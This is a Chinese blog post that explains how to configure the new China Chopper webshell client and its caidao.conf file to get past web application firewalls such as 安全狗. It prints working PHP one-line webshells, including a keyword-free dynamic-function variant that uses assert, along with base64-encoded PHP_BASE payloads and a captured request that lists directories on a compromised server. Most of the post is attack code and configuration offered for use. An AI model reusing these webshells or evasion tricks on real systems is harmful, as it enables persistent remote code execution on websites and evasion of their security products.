MENU

简单使用新版菜刀过waf

简单使用新版菜刀过waf

0x00 介绍

产品名称:中国菜刀,不是原来切菜做饭的道具,而是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理!程序大小:214K,在非简体中文环境下使用,自动切换到英文界面。UINCODE方式编译,支持多国语言输入显示。(引用百度百科)
当然这么好的产品生命力是无限的,有很多仿冒菜刀官网出的“刀”都带上了私货(后门)。
不过万幸的是最近菜刀的官方站又能打开了。并且发布了新版本.20160622 -acaf6564637ba97f73297b0096c2994

下载

文件说明:

caidao.exe  菜刀程序
db.mdb      菜刀的主数据库
caidao.conf 配置文件(重要,千万别删除)
------------------------------------------------------------------
cache.tmp   菜刀的缓存数据库(可删除)
readme.txt  你现在正在看的(可删除)
ip.dat      一个IP库,用于IP地址识别(可删除)
<CCC>       菜刀的自写脚本目录(可删除)
<Customize> Customize模式的服务端(可删除)
    Customize.aspx  这是一个C#的示例服务端(全功能)
    Customize.jsp   这是一个jsp的示例服务端(全功能)
    Customize.cfm   这是一个cfm的示例服务端(文件管理,虚拟终端)

我们从他的readme可以看出多了个caidao.conf配置文件还是不可删除的。
看看caidao.conf的介绍:

     这个文件是必须有的,里面的各节点一个也不能删,不然程序运行会出错!
     默认调用的是caidao.conf,菜单里有个“加载配置文件”的菜单项,可以切换配置文件。
     这个文件必段存为UNICODE编码!
     各节点简单介绍一下:
    <FLAG>  返回的内容分隔符,只限三个字符,用生辟点的字符吧。
    <UA>    自定义User-Agent的值
    <K1>    POST的第一个参数名称,不再是原版本固定的z1
    <K2>    同上

    <PHP_BASE>  这是PHP脚本的基本代码,其它的功能代码最终会传到这里面,注意里面的%s %d这样的参数
    <ASP_BASE>  同上
    <ASPX_BASE> 同上
    <PHP_BASE.加密示例> 这个不会用到,如果临时复制出来一个节点,可以取一个不同的节点名字,不要重名了。
        这里示范的是如何把PHP_BASE的内容加密发送。
        相信你会做得更好。
    <GETBASEINFO>
    <SHOWFOLDER>
    <SHOWTXTFILE>
    <SAVETXTFILE>
    <DELETEFILE>
    <DOWNFILE>
    <UPLOADFILE>
    <PASTEFILE>
    <NEWFOLDER>
    <WGET>
    <SHELL>
    <RENAME>
    <SETTIME>
    -----------上面这些,你懂的,就不费篇幅了
    <DB_PHP_MYSQL_DBLIST>       PHP脚本刚连接时调用这里,给出库列表
    <DB_PHP_MYSQL_TABLELIST>    点击库调用,显示数据表
    <DB_PHP_MYSQL_COLUMNLIST>   点击数据表调用,显示数据表字段
    <DB_PHP_MYSQL_EXECUTESQL>   执行SQL,分别处理查询和执行并给出结果。
    ....
    接下来的几样都是PHP连其它库的,大同小异。
    <DB_ASP_ADO_DBLIST>
    <DB_ASP_ADO_TABLELIST>
    <DB_ASP_ADO_COLUMNLIST>
    <DB_ASP_ADO_EXECUTESQL>
    上面是ASP管理数据库的脚本,用ADO来整的。
    <DB_ASPX_ADO_DBLIST>
    <DB_ASPX_ADO_TABLELIST>
    <DB_ASPX_ADO_COLUMNLIST>
    <DB_ASPX_ADO_EXECUTESQL>
    ASPX的,当然还有其它好用的方式,看你的习惯来改了。

看起来菜刀数据包部分完全可以自定义修改了为我们diy数据包创造了条件实现过waf的目的.
然后就是ip.dat对浏览器显示地区提供支持.
还有对Customize模式菜刀和服务端通信接口的说明可以写非主流web脚本的菜刀客户端脚本.


0x01 配置caidao.conf过waf参数

//以下修改后不用重启程序实时生效
//注意:除%s,%d这样的参数外,其它的%号要用%%代替,修改前做好备份
//下面的PHP_BASE,ASP_BASE,APSX_BASE三个标记会用到,不要重复了,否则可能不会读到正确的内容
//一个服务端和下面代码配合的例子,看了可以尝试改出更多花样并和大伙分享
//<?php @eval(base64_decode($_POST['caidao']));?>
<PHP_BASE.加密示例>
ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs%%3D&id=%s
</PHP_BASE.加密示例>
实际的内容是eval(base64_decode($_POST[id]));

上面是caidao.conf里面的加密例子,如果不能理解为什么我们可以抓包看看
首先在web目录写一个内容为<?php @eval(base64_decode($_POST['caidao']));?>
一句话.
然后密码是caidao我们连接抓包.

QQ截图20160625152001.jpg

caidao=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs=&id=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9J0Q6XFx4XFwnOyRGPUBvcGVuZGlyKCREKTtpZigkRj09TlVMTCl7ZWNobygiRVJST1I6Ly8gUGF0aCBOb3QgRm91bmQgT3IgTm8gUGVybWlzc2lvbiEiKTt9ZWxzZXskTT1OVUxMOyRMPU5VTEw7d2hpbGUoJE49QHJlYWRkaXIoJEYpKXskUD0kRC4nLycuJE47JFQ9QGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZW10aW1lKCRQKSk7QCRFPXN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkUCksMTAsOCksLTQpOyRSPSJcdCIuJFQuIlx0Ii5AZmlsZXNpemUoJFApLiJcdCIuJEUuIlxuIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJYQFkiKTtkaWUoKTs=

caidao参数

eval(base64_decode($_POST[id]));

id参数

@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");$D='D:\\x\\';$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.'/'.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."\n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("X@Y");die();

看到这里我相信大家懂了吧.
先把关键的eval给base64编码然后在传递到caidao执行解码在eval执行,再解码id在eval执行id
但是有些防护软件要杀木马中的关键字.
<?php @eval(base64_decode($_POST['caidao']));?>
这种肯定不行有eval
我这里有种方法利用动态函数的方法写个无关键字的php代码,如果有更巧妙的法子请分享!

<?php
$a = base64_decode($_POST['key']);$a(base64_decode($_POST['b']));
?>

这是我们的一句话木马密码为b
如果有的变态连base64_decode都杀我们可以试试hex还有其他的可逆加密函数或者自定义加密.
这木马是根据动态函数的命令执行变化而来

<?php
$_GET['a']($_GET['b']);
?>

当然办法不止一种,其他的还请大牛们分享分享.
好了回到我们的木马,先接收一个POST传入的base64编码过后的函数名为key,这里我们可以用eval()和assert()还有其他的preg_replace(), call_user_func(), call_user_func_array(), array_map()
只要能达到任意执行代码就行.
下面就是我的caidao.conf的配置代码

<PHP_BASE>
ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs%%3D&id=%s&key=YXNzZXJ0
</PHP_BASE>

b也就是我们的密码接收到的上面那段ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs=
后面那个id用%s来赋值,key就是我们用来执行的函数的base64编码这里我用的assert()你也可以自定义加密
QQ截图20160625155244.jpg

嗯能正常使用
QQ截图20160625155509.jpg

我们试试开着安全狗的效果.
先看看普通的
QQ截图20160625155822.jpg

在看我们的
QQ截图20160625155946.jpg

嗯可以过掉狗,其他的大家可以试试。


0x02 后记

菜刀的更新确实为过waf提供了便利.
但是在测试的时候发现也有缺点
1.配置的过waf节点不能自定义调用,只能改成<PHP_BASE></PHP_BASE>
2.客户端不能自定义加密.

ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs%%3D&id=%s&key=YXNzZXJ0
</PHP_BASE>

不管ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs=怎么加密后面的id参数的值好像只是base64编码了,作者也没说怎么改变这个编码.实现完全的自定义加密.
3.caidao.conf也更方便添加后门了.


以上就是对菜刀过waf的一点小的研究,也许你有更好的方式和巧妙的思路请留言。
还有菜刀客户端怎么改变默认的%s的处理方式有待研究.

Tags: waf
Archives QR Code
QR Code for this page
Tipping QR Code
Title - Artist
0:00